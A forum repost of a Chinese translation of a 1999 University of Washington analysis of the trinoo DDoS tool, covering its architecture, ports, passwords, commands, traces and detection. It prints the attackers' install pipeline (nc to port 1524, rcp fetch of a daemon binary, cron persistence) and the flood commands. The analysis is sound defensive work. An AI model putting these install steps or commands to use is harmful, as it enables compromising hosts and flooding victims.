论坛: 菜鸟乐园 标题: 分布式拒绝服务入侵介绍--trinoo篇 复制本贴地址    
作者: nightcolor [nightcolor]    版主   登录
分布式拒绝服务入侵介绍--trinoo篇
===============================================================
David Dittrich <dittrich@cac.washington.edu>
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999

翻译:snowblue

(同时感谢weier为我改正了文中的许多文法错误)


译者按
-------
在看这篇文章之前你首先应当知道这些知识:

所谓DoS(Denial of Service)就是通过某种方法使主机拒绝服务,其中可以利用系统本身设
计上的漏洞。而DDoS(Distributed Denial of Service Attack)是实现DoS攻击的一种方式,
他攻击时并不是通过系统本身的漏洞,而是通过正常的TCP/IP请求,通过向目标主机发送大量
的TCP/IP报文,使该主机不能响应正常的TCP/IP连接请求。

Client程序-所谓Client程序就是攻击者用来下攻击指令的地方,它们可以遥控网络上许多
的Daemon程序执行攻击。

Daemon程序-接受Client程序送过来的指令,然后对Target目标做出攻击。

Master机器-执行Client程序的主机。

Agent机器-执行Daemon程序的主机。

最后我要说的一点是我翻译这篇文章的目的,虽然这篇文章并不是很新(1999年的),但DD
oS可以说是一种新颖的攻击手段,它完全是通过正常的连接请求,往往让目标很难防范。在中
国这方面的资料好像很少,以至于有人想到了用PING这种损己不利人的方法。这应当是中国的
耻辱,难道我们就只会采用这种落后的手段吗!

最后要说明的一点是由于我的水平非常有限,因此文中难免有翻译错误的地方。有兴趣的朋
友可以到http://staff.washington.edu/dittrich/misc/trinoo.analysis 索取原文


介绍
-----------

以下将是关于DoS攻击--trinoo(a.k.a."trin00")工程的分析,可以用来实现DoS攻击。


Trinoo最初可以在相当数量的Solaris 2.x系统上被发现,当时发现可以被用来利用RPC服务
"statd","cmsd" 和 "ttdbserverd"的缓冲区溢出漏洞。你可以在CERT Incident Note 99-0
4: http://www.cert.org/incident_notes/IN-99-04.html 

中找到相关描述。


Trinoo程序最初被认为是基于UDP的,可用于远程命令执行,可以被用于和嗅探器一起工作,
用来自动添加嗅探器的纪录。

在对这种入侵的研究中,我们发现了一起入侵事件并且获得了一份trinoo的源代码和记录文
件。以下的分析是建立在这份源代码上的。

对这份源代码的修改将改变以下文中所提供的数据,例如提示符,密码,命令,TCP/UDP端口
号,或者提供的进攻方法,信号,和特征。

demon程序是在Solaris 2.5.1 和 Red Hat Linux 6.0上被编译及运行的。master程序是在R
ed Hat Linux 6.0上被编译及运行的。相信master和daemon程序在相同的平台上都将成立。

Trinoo有可能被安放在网络上成千上万的有远程缓冲区溢出漏洞的主机上。可以通过随Trin
oo daemons一起安放的木马来实现对这些主机的长时间访问。

一个至少有227个系统的trinoo网络--其中114台为因特网站点--在1999年8月17日被用来“淹
没”明尼苏达大学(University of Minnessota)的一个网络,并使他拒绝服务了两天多。当
对这次入侵做出回应时,更大的入侵被发现用于其它至少16个系统,其中有一些是在美国以外
的。(对于这次trinoo入侵的部分情况可以参见附录D)

入侵过程
---------
一个典型的安装过程就像这样:

1) 获得一个盗用的账户,利用这个账户来准备扫描工具,入侵(例如缓冲溢出)工具,管理
员工具包和嗅探器,trinoo daemon和master程序,一个易受攻击的主机列表和已入侵的主机
列表,等等。这通常是一个很大的系统拥有很多的用户,以及一个很粗心的管理员,并且有很
高的带宽用于频繁的传输文件。

2) 准备一次大范围的网络扫描来验证潜在的目标。目标应包含一个运行着很多的服务的系统
,而服务有可被利用的远程缓冲溢出漏洞,例如wu-ftpd, 和"cmsd", "statd","ttdbserverd
", "amd"RPC服务,等等。操作系统主要是 Sun Solaris 2.x 和 Linux(有现成的可利用的网
络嗅探器和“管理员工具包”,可用于隐藏木马,等等),但在任何结构的系统上所盗用的账
户可被用于隐藏工具和记录文件。

3) 然后一个易受攻击的系统的列表可以被用来创建一个脚本,利用这个脚本来进行准备,在
管理员身份下监听TCP端口(通常是1524/TCP,"ingreslock"服务的端口),并且连接到这个
端口来证实是否成功。

在某些情况下,黑客会利用免费的电子邮件账号来确认哪些系统已被成功的突破。
完成这一步的结果是你的列表中又可以增加一批你“拥有”的可以用来安放木马,嗅探器,
或trinoo daemons和master的系统。

4) 在这张你已突破的系统列表中,划分一块作为trinoo的攻击网络。已编译的daemons 程序
将被安放在网络上的某台主机上。

5) 创建并运行另一个脚本,利用已“拥有”的系统和另外的脚本来自动进行安装过程,每一
个安装进程将全力在后台运行。

这个脚本利用"netcat("nc")和管道操作来通过管理员的身份进行监听,在这个例子中是152
4/tcp:

---------------------------------------------------------------------------
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
./trin.sh | nc 128.aaa.167.219 1524 &
./trin.sh | nc 128.aaa.187.38 1524 &
./trin.sh | nc 128.bbb.2.80 1524 &
./trin.sh | nc 128.bbb.2.81 1524 &
./trin.sh | nc 128.bbb.2.238 1524 &
./trin.sh | nc 128.ccc.12.22 1524 &
./trin.sh | nc 128.ccc.12.50 1524 &
. . .
---------------------------------------------------------------------------

脚本"trin.sh"的输出作为管道通向系统。看起来就像:


---------------------------------------------------------------------------
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"

echo "chmod +x /usr/sbin/rpc.listen"

echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"

echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
---------------------------------------------------------------------------

如果你所盗用的用户没有运行cron(时钟守护程序?),上面这个脚本将很难被发现。

在至少另一个系统上我们发现了另一种方法,在那个系统上daemon程序被叫做("xterm"),被
一个包含如下代码的脚本(在那个系统上被叫做"c")所启动:

---------------------------------------------------------------------------
cd /var/adm/.1
PATH=.:$PATH
export PATH
xterm 1>/dev/null 2>&1
---------------------------------------------------------------------------

这暗示了一种在demand上运行这个脚本来设置trinoo网络的方法。

我们也可以想象出更多狡猾的用于让安放的daemons/masters程序运行的方法(例如,基于U
DP或ICMP的客户/服务器模型的程序,例如LOKI(参见附录C)程序就能够周期性的打开一个T
CP或UDP的监听端口,等等。)

这一步完成的结果是使攻击者拥有一批分散在网络上的可以供他们发动DoS攻击的网络,这些
网络的拥有者完全不知情。这一步是在很短的时间内自动完成的。

6) 随意的,一个管理员工具包将被安装在系统上用以隐藏程序,文件,和网络连接。这在m
aster系统上将尤其重要,这是因为master系统是连接trinoo网络的关键。应当说明在很多情
况下,master程序应当被设置在网络服务提供商(Internet Service Provider)的首要域名服
务器(primary name server hosts)上,因为在这样的服务器上通常会有大量的信息包的传输
和TCP,UDP连接,这将非常有助于隐藏和trinoo有关的信息传输和程序活动。(事实上,由于
这是首要域名服务器,所以当服务器的所有者在接到有关DoS攻击的报告时将倾向于尽力不关
闭服务器。)


管理员工具包将被和嗅探器一起在系统上运行,同时像"hunt"(TCP/IP会话窃听工具)这样
的程序将被用于直接寻找其它站点的漏洞,这将胜于通过利用缓冲器溢出漏洞。

有关“管理员工具包”的详细情况请参见: http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq 

The network: attacker(s)-->master(s)-->daemon(s)-->victim(s)
------------------------------------------------------------

一个trinoo网络是由master服务器("master.c)和trinoo deamon("ns.c")组成的。一个trin
oo网络应该是这样:


+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| master | | master | | master |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+

攻击者控制一个或多个"master"服务器,其中每一个服务器又控制许多"daemon"(在这段代
码中是"Bcast",或者"broadcast"主机。)所有的daemon都将按指令去攻击一台或多台目标。

剩下的只需要用"telnet"同master主机建立一个TCP连接并提供密码,就可以发动DoS攻击了


通讯端口
--------

Attacker to Master(s): 27665/tcp
Master to daemon(s): 27444/udp
Daemon to Master(s): 31335/udp 

远程控制trinoo的master主机是通过端口27665/tcp来完成的。连接建立后,使用者必须提供
正确的密码("betaalmostdone")。如果当某人已成功登陆(即已提供了正确的密码)后发生另
一个连接,系统就会对他们发出一个警告,并且提供连接者的IP(看起来好象程序里有bug,
它并不能提供正确的IP,但警告信号仍然会有的)。毫无疑问这最终将被修复并给攻击这以时
间用来清除他们的痕迹。

trinoo master和daemon之间的通讯是通过端口27444/udp来实现的。

命令是如下形式的,用空格分开:

arg1 password arg2

命令的默认密码是"144adsl",并且只有包含"144"子串的命令行才会被执行。

trinoo daemon和master之间的通讯是通过端口31335/udp还完成的。

当daemon开始执行,他最初发送"*HELLO*"给master,(使用嗅探器来完成信息包的捕捉):

UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
4C L 4F O 2A *

当trinoo master通过27444/udp发送一个"png"命令给daemon,deamon将通过31335/udp返回
字符串"PONG"来表明已发送"png"命令:

UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20 
6C l 34 4 34 4 61 a 64 d 73 s 6C l

UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G

密码保护
--------

master程序和daemons程序都是受到密码保护的,用来防止系统管理员(或其他黑客)控制t
rinoo网络。

这些密码是加密过的。密码是对称使用的,密码被提供给master和daemon程序并且在网络上
进行明文密码比较。

当开始运行时master daemon生成一个提示符等待输入密码。如果没有得到正确的密码,程序
将退出。如果获得了正确的密码,程序将声明一个进程,继续在后台运行,并退出。

# ./master
?? wrongpassword

. . .

# ./master
?? gOrave
trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]


同样的,当你远程连接到命令端口时,(默认是27665/tcp),你也应当提供密码:


attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host.
. . .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]


trinoo>

命令将被从master传送到daemon(master也是受密码保护的)。密码在master和daemon之间
是明文传输的。

默认的密码是:


"l44adsl" trinoo daemon password
"gOrave" trinoo master server startup ("?? " prompt)
"betaalmostdone" trinoo master remote interface password
"killme" trinoo master password to control "mdie" command


Master commands
---------------

The trinoo master supports the following commands:

die Shut down the master.

quit Log off the master.

mtimer N Set DoS timer to N seconds. N can be between 1 and 1999
seconds. If N is < 1, it defaults to 300. If N
is > 2000, it defaults to 500.

dos IP DoS the IP address specified. A command ("aaa l44adsl
IP") is sent to each Bcast host (i.e., trinoo daemons)
telling them to DoS the specified IP address.

mdie pass Disable all Bcast hosts, if the correct password is
specified. A command is sent ("d1e l44adsl") to each
Bcast host telling them to shut down. A separate
password is required for this command.

mping Send a PING command ("png l44adsl") to every active
Bcast host.

mdos <ip1:ip2:ip3>
Multiple DoS. Sends a multiple DoS command
("xyz l44adsl 123:ip1:ip2:ip3") to each Bcast host.

info Print version and compile information, e.g.:

This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c
Compiled 15:08:41 Aug 16 1999

msize Set the buffer size for packets sent during DoS attacks.

nslookup host Do a name service lookup of the specified host from
the perspective of the host on which the master
server is running.

killdead Attempts to weed out all dead Bcast hosts by first
sending all known Bcast hosts a command ("shi l44adsl")
that causes any active daemons to reply with the initial
"*HELLO*" string, then renames the Bcast file (with
extension "-b") so it will be re-initialized when the
"*HELLO*" packets are received.

usebackup Switch to the backup Bcast file created by the
"killdead" command.

bcast List all active Bcast hosts.

help [cmd] Give a (partial) list of commands, or a brief
description of the command "cmd" if specified.

mstop Attempts to stop a DoS attack (not implemented, but
listed in the help command).


Daemon commands
---------------

The trinoo daemon supports the following commands:

aaa pass IP DoS the specified IP address. Sends UDP packets to random
(0-65534) UDP ports on the specified IP addresses for
a period of time (default is 120 seconds, or 1 - 1999
seconds as set by the "bbb" command.) The size of the
packets is that set by the "rsz" command, or the default
size of 1000 bytes.

bbb pass N Sets time limit (in seconds) for DoS attacks.

shi pass Sends the string "*HELLO*" to the list of master servers
compiled into the program on port 31335/udp.

png pass Sends the string "PONG" to the master that issued the
the command on port 31335/udp.

d1e pass Shut down the trinoo daemon.

rsz N Set size of buffer for DoS attacks to N bytes.
(The trinoo daemon simply malloc()s a buffer with this
size, then sends the uninitialized contents of the
buffer during an attack.)

xyz pass 123:ip1:ip2:ip3
Multiple DoS. Does the same thing as the "aaa"
command, but for multiple IP addresses.

It could be coincidence, but I will give the author some credit and
assume that three letter commands were chosen so they don't show up in
the binary as visible strings under the default behavior of
STRINGS(1). You must use the "--bytes=3" option of GNU STRINGS(1) to
see the commands:

# strings --bytes=3 ns | tail -15
socket
bind
recvfrom
l44
%s %s %s
aIf3YWfOhw.V.
aaa
bbb
shi
png
PONG
d1e
rsz
xyz
*HELLO*


痕迹
-----

在某些系统上安置daemon程序另外作一些调整。监视时钟守护程序的配置文件(crontab fil
es)将可以找到如下的条目:

* * * * * /usr/sbin/rpc.listen

master程序将创建一个文件(默认名是"..."),其中包含了对广播主机的设置。如果有"ki
lldead"这个命令,那幺"shi"这个命令将发送到列在"..."中的所有daemon程序,这将使他们
发送一个初始字符串"*HELLO*"给所有的master程序。然后当前列表将被重命名(默认为"...
-b")然后将会产生一个新的包含所有向master发送"*HELLO*"的daemon的列表。

源程序("master.c")包含下列代码:

------------------------------------------------------------------------------
. . .
/* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?)
comment out for no encryption... */
#define CRYPTKEY "ZsoTN.cq4X31"
. . .
------------------------------------------------------------------------------

如果在编译时提供了事先定义的密码,那幺广播主机(bcast hosts)的IP地址将会被进行Blo
wfish编码:


# ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...-b
# cat ...
JPbUc05Swk/0gMvui18BrFH/
# cat ...-b
aE5sK0PIFws0Y0EhH02fLVK.
JPbUc05Swk/0gMvui18BrFH/

假设没有通过“管理员工具包”来隐藏进程,那幺在master主机上将会有以下的痕迹(当然
,这两个程序所在的位置是可以改变的):

------------------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0 *:27665 *:* LISTEN 
. . .
udp 0 0 *:31335 *:* 
. . .

# lsof | egrep ":31335|:27665"
master 1292 root 3u inet 2460 UDP *:31335 
master 1292 root 4u inet 2461 TCP *:27665 (LISTEN)

# lsof -p 1292
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
master 1292 root cwd DIR 3,1 1024 14356 /tmp/...
master 1292 root rtd DIR 3,1 1024 2 /
master 1292 root txt REG 3,1 30492 14357 /tmp/.../master
master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
master 1292 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
master 1292 root 0u CHR 4,1 2967 /dev/tty1
master 1292 root 1u CHR 4,1 2967 /dev/tty1
master 1292 root 2u CHR 4,1 2967 /dev/tty1
master 1292 root 3u inet 2534 UDP *:31335 
master 1292 root 4u inet 2535 TCP *:27665 (LISTEN)
------------------------------------------------------------------------------

运行daemon的系统将会出现下面的痕迹:

------------------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State 
. . .
udp 0 0 *:1024 *:* 
udp 0 0 *:27444 *:* 
. . .

# lsof | egrep ":27444"
ns 1316 root 3u inet 2502 UDP *:27444 

# lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...
ns 1316 root rtd DIR 3,1 1024 2 /
ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns
ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ns 1316 root 0u CHR 4,1 2967 /dev/tty1
ns 1316 root 1u CHR 4,1 2967 /dev/tty1
ns 1316 root 2u CHR 4,1 2967 /dev/tty1
ns 1316 root 3u inet 2502 UDP *:27444 
ns 1316 root 4u inet 2503 UDP *:1024 
------------------------------------------------------------------------------

防范
----

当然,防范的最好方法是阻止黑客的入侵和在第一时间内打上补丁,这样就没有系统可以用
来安装trinoo master/daemons了。在理想的世界中,所有的系统都可以被打上补丁,被保护
,被监控,入侵监测系统和防火墙将被用来监控数据包,这样的话我就可以成为一个百万富翁
,然后先在在巴厘岛海滩旁的豪宅里住六个月,随后到Alps山住六个月。但在现实世界里这是
无法选择的(至少在近期是这样)。

所以,你的系统上有可能正在运行这trinoo daemon程序,并随时有可能被用来对其它系统发
动DoS攻击。

由于这两个程序在相互通讯时使用了端口号很高的UDP端口,所以想要阻止它们而同时又不影
响到其它使用高UDP端口号的程序是不太可能的。

最简单的查出trinoo master和daemon程序的方法可能是监控所有再以太网上传播的UDP信息
包,并搜寻在本文中其它地方提到的master和daemon程序在进行通讯时的特征。不幸的是,只
有当进攻已经开始了,你才会察觉。

如果某个系统被怀疑有daemon程序正在发动进攻,Solaris "truss"程序就会产生以下输出:

------------------------------------------------------------------------------
. . .
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...)
getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0
time() = 938385467
open("/dev/udp", O_RDWR) = 5
ioctl(5, I_PUSH, "sockmod") = 0
ioctl(5, I_STR, 0xEFFFF748) = 0
ioctl(5, I_SETCLTIME, 0xEFFFF7FC) = 0
ioctl(5, I_SWROPT, 0x00000002) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0
ioctl(5, I_STR, 0xEFFFF660) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0
sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0) = 0
ioctl(5, I_STR, 0xEFFFF548) = 0
sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0
time() = 938385467
. . .
------------------------------------------------------------------------------

当对一个系统进行攻击时,使用"tcpdump"可以看到以下内容:

------------------------------------------------------------------------------
# tcpdump ip host 192.168.0.1
. . .
15:40:08.491782 10.0.0.1.1024 > 192.168.0.1.27444: udp 25
15:40:08.574453 192.168.0.1.32885 > 216.160.XX.YY.16838: udp 4 (DF)
15:40:08.576427 192.168.0.1.32885 > 216.160.XX.YY.5758: udp 4 (DF)
15:40:08.579752 192.168.0.1.32885 > 216.160.XX.YY.10113: udp 4 (DF)
15:40:08.583056 192.168.0.1.32885 > 216.160.XX.YY.17515: udp 4 (DF)
15:40:08.600948 192.168.0.1.32885 > 216.160.XX.YY.31051: udp 4 (DF)
15:40:08.604943 192.168.0.1.32885 > 216.160.XX.YY.5627: udp 4 (DF)
15:40:08.610886 192.168.0.1.32885 > 216.160.XX.YY.23010: udp 4 (DF)
15:40:08.614202 192.168.0.1.32885 > 216.160.XX.YY.7419: udp 4 (DF)
15:40:08.615507 192.168.0.1.32885 > 216.160.XX.YY.16212: udp 4 (DF)
15:40:08.616854 192.168.0.1.32885 > 216.160.XX.YY.4086: udp 4 (DF)
15:40:08.618827 192.168.0.1.32885 > 216.160.XX.YY.2749: udp 4 (DF)
15:40:08.623480 192.168.0.1.32885 > 216.160.XX.YY.12767: udp 4 (DF)
15:40:08.625458 192.168.0.1.32885 > 216.160.XX.YY.9084: udp 4 (DF)
15:40:08.628764 192.168.0.1.32885 > 216.160.XX.YY.12060: udp 4 (DF)
15:40:08.632090 192.168.0.1.32885 > 216.160.XX.YY.32225: udp 4 (DF)
. . .
------------------------------------------------------------------------------

缺点
-----

第一个缺点是它加密的密码,某些提示符和返回的字符串,在master和daemon程序的二进制
映像中都是可见的。

这将帮助你鉴别是否发现了master或daemon程序,可以查出这两个程序是否使用在本文中所
提到的默认的密码,这将潜在的帮助你控制一些(或全部)trinoo网络。

如果源代码已被改变(毫无疑问那些聪明的攻击者会这幺做的),你就需要破解密码,或者
使用一个十六进制/ASCII编辑器并把他们转成二进制模式,目的是,举个例子,运行master来
得到所有daemon的列表。

如果原码并没有改变,你可以通过留意下面的二进制代码来判断:

------------------------------------------------------------------------------
# strings - ns
. . .
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V. <=== crypt() encrypted password "l44adsl"
PONG
*HELLO*
. . .

# strings - master
. . .
---v
v1.07d2+f3+c
trinoo %s
l44adsl <=== clear text version of daemon password
sock
0nm1VNMXqRMyM <=== crypt() encrypted password "gOrave"
10:09:24
Sep 26 1999
trinoo %s [%s:%s]
bind
read
*HELLO*
ZsoTN.cq4X31 <=== CRYPTKEY
bored
NEW Bcast - %s
PONG
PONG %d Received from %s
Warning: Connection from %s
beUBZbLtK7kkY <=== crypt() encrypted password "betaalmostdone"
trinoo %s..[rpm8d/cb4Sx/]
. . .
DoS: usage: dos <ip>
DoS: Packeting %s.
aaa %s %s
mdie
ErDVt6azHrePE <=== crypt() encrypted password for "mdie" command
mdie: Disabling Bcasts.
d1e %s
mdie: password?
. . .
------------------------------------------------------------------------------

第二个缺点,更具威胁性的,是daemon的密码,他在网络中是明文传送的。假如你知道了用
来通讯的UDP端口号,你就可以捕获密码,例如使用"sniffit", "ngrep", "tcpdump",或其它
嗅探程序。(附录A中列出了一个用"ngrep"进行捕获的纪录。)

举个例子,如果命令"png"被发送到trinoo daemon程序,你就可以用嗅探器看到:

UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20 
6C l 34 4 34 4 61 a 64 d 73 s 6C l

就像在上面提到的,命令"mdie"在master内部是受密码保护的。有两种方法可以解决。

如果你可以肯定密码是用的是"strings"命令,那么你可以(潜在的)使用一个密码破解工具
,比如"crack",来破解它(参见附录C)。如果密码选的好的话,这有可能要花很长的时间,
但这是可行的(并且如果密码是"killme"的话,在一台Pentium II上30秒以内就可以被破解)


你也可以在当攻击者和master进行通讯的时候用嗅探器进行嗅探,但嗅探成功的可能性不是
很大。

你得到daemon密码的可能性要大一些,因为再大多数的命令中都是需要这个密码的。你在da
emon网络或master网络上都可以完成这项工作(这两个网络通常是完全不同的)。由于daemo
n的数量要远远大于master的数量,所以你更有可能在daemon网络上完成这项工作。由于大多
数的master程序都被安置在首要域名服务器上,可以推测在master网络上的数据流量要远远大
于daemon网络(在没有进行DoS攻击时)。

此外通过检视你的系统,你将很有可能发现几个deamon的来源。

一旦你成功的找到了一个daemon程序,那幺你就得到master程序的清单,(通过使用"strin
gs"来得到它。)你就可以立即通知这些有master程序的站点,说服它们在系统中寻找入侵的
迹象。(如果安装了管理员工具包,这项工作会变得很难。)

通过查出一台master,就可以得到daemon的列表,这张列表有可能是在一个没有加密的文件
中。但是如果文件被加密的话,你可以通过提供密钥来解密,或者用master程序来发送"bcas
t"命令一得到daemon的列表。

如果你发现了一个同master程序之间的用标准的telnet形式的TCP会话,你就可以使用"hunt
"命令来终止它。如果你不知道"mdie"命令的密码,你将不能直接终止所有的daemon程序,但
你却可以用"bcast"命令来得到一个所有daemon的列表。

一旦你得到了所有daemon程序的列表,和daemon的密码(这在"string"的输出中是可见的)
,你就可以向任何一个可疑的daemon程序发送适当的命令,命令将包含在UDP包中。创建和传
送UDP信息包可以用以下的工具LibNet, Spak, the Perl Net::RawIP library,等等。(一个
叫"trinot"的使用Net::RawIP的Perl脚本被开发出来以完成这项工作。参见附录B)。

你也可以通过监听网络中的UDP包并搜寻"*HELLO*"和"PONG"子串或其它任何的命令串来查找
daemon程序。

(当然,直到有人更改了源代码)"ngrep"程序可以很好的完成这项工作。

------------------------------------------------------------------------------
# ngrep -i -x "*hello*|pong" udp
interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( udp )
match: *hello*|pong
. . .
#
U 192.168.0.1:32887 -> 10.0.0.1:31335
2a 48 45 4c 4c 4f 2a *HELLO* 
###
U 192.168.0.1:32888 -> 10.0.0.1:31335
50 4f 4e 47 PONG 
U 192.168.0.3:32815 -> 10.0.0.1:31335
50 4f 4e 47 PONG 
U 192.168.0.5:32798 -> 10.0.0.1:31335
50 4f 4e 47 PONG 
. . .
------------------------------------------------------------------------------

虽然trinoo本身没有什幺缺点,但安装trinoo网络的方法却存在缺点。

就像上面提到过的,在某些系统中需要计时程序(crontab)来保证daemon程序的运行。这将在
计时程序的日志中留下明显的纪录。

用于自动完成trinoo网络安装的脚本使用了Berkeley "rcp"命令(在较新版本的用于"Tribe
 Flood Network"的daemon程序也用了"rcp"命令来上传文件)。不间断的监视你网络上的指向
网络外同一个IP地址的"rcp"连接(514/tcp),将是一个很好的方法。(需要指出的是,在那个
脚本中使用"rcp"需要匿名信任关系,这通常在用户的~/.rhosts文件中以"+ +"的形式存在,
这将允许你通知那个用户并让他保护证据。)

(附录E中包含了宾夕法尼亚州立大学(Pennsylvania State University)的George Weaver和
斯坦福德大学(Stanford University)的David Brumley对trinoo的更深入的分析。以及Georg
e deserves对手工解码SPARC二进制映像的尝试。)

演化
-----
拒绝服务攻击(DoS)是一种历史很久的攻击手段。在TCP/IP的堆栈中有很多漏洞,例如,允许
碎片包,超过容量的包,IP选项,不完成完整的三次握手,等等。这些可以被用来是系统的性
能降低,或是系统彻底崩溃。

每当发现了一个漏洞,就会出现一种针对这种漏洞的工具。每一种工具只能针对一种特定的
漏洞。(但是微软在家用电脑领域有相当大的市场份额,并且很多个人用户并不知道他们的系
统存在着什幺漏洞,也不知道如何去补救。这就使他们的系统很容易遭到DoS攻击。)

在相当数量的站点上可以找到这种工具,比如:

http://www.technotronic.com/denial.html  http://www.rootshell.com/ 

下一步是把这许多工具整合到一起,使用UNIX的命令脚本。有一个叫"rape"的这样的工具,
(源代码是由"mars"在1998年写成的,"TheVirus"加以修正,并由"ttol"优化了代码),这个
工具整合了如下的攻击器:

echo "Editted for use with www.ttol.base.org" 
echo "rapeing $IP. using weapons:"
echo "latierra "
echo -n "teardrop v2 "
echo -n "newtear "
echo -n "boink "
echo -n "bonk "
echo -n "frag "
echo -n "fucked "
echo -n "troll icmp "
echo -n "troll udp "
echo -n "nestea2 "
echo -n "fusion2 "
echo -n "peace keeper "
echo -n "arnudp "
echo -n "nos "
echo -n "nuclear "
echo -n "ssping "
echo -n "pingodeth "
echo -n "smurf "
echo -n "smurf4 "
echo -n "land "
echo -n "jolt "
echo -n "pepsi "

这种工具可以让攻击者以一点攻击多点(这可以增加成功的几率)。但这种工具要求攻击者
分别传输每一个单独的工具。

还有一种集成攻击工具是将许多的工具编译成一个单独的程序,这将有益于储存和传输。Mi
xter写的"targa.c"就是这样一个工具。这个工具集成了以下一些工具:

/* targa.c - copyright by Mixter <mixter@gmx.net>
version 1.0 - released 6/24/98 - interface to 8
multi-platform remote denial of service exploits
*/ 
. . .

/* bonk by route|daemon9 & klepto
* jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
* land by m3lt
* nestea by humble & ttol
* newtear by route|daemon9
* syndrop by PineKoan
* teardrop by route|daemon9
* winnuke by _eci */ 

但这个工具"traga"只允许攻击者在同一时间内攻击一个目标。

为了增强攻击的效果,攻击者们通过IRC和电话进行交流,整理攻击资料,他们中每人攻击一
个不同的系统。他们使用不同的木马和管理员工具包来控制系统。

即使这也是有限度的,所以在两年内,他们把所有的系统组成到一起,成为一个"denial of
 service cluster"。"trinoo"就是这的一个例子,还有另一个Mixter写的类似的工具,这个
工具被称为Tribe Flood Network"(或"TFN")。

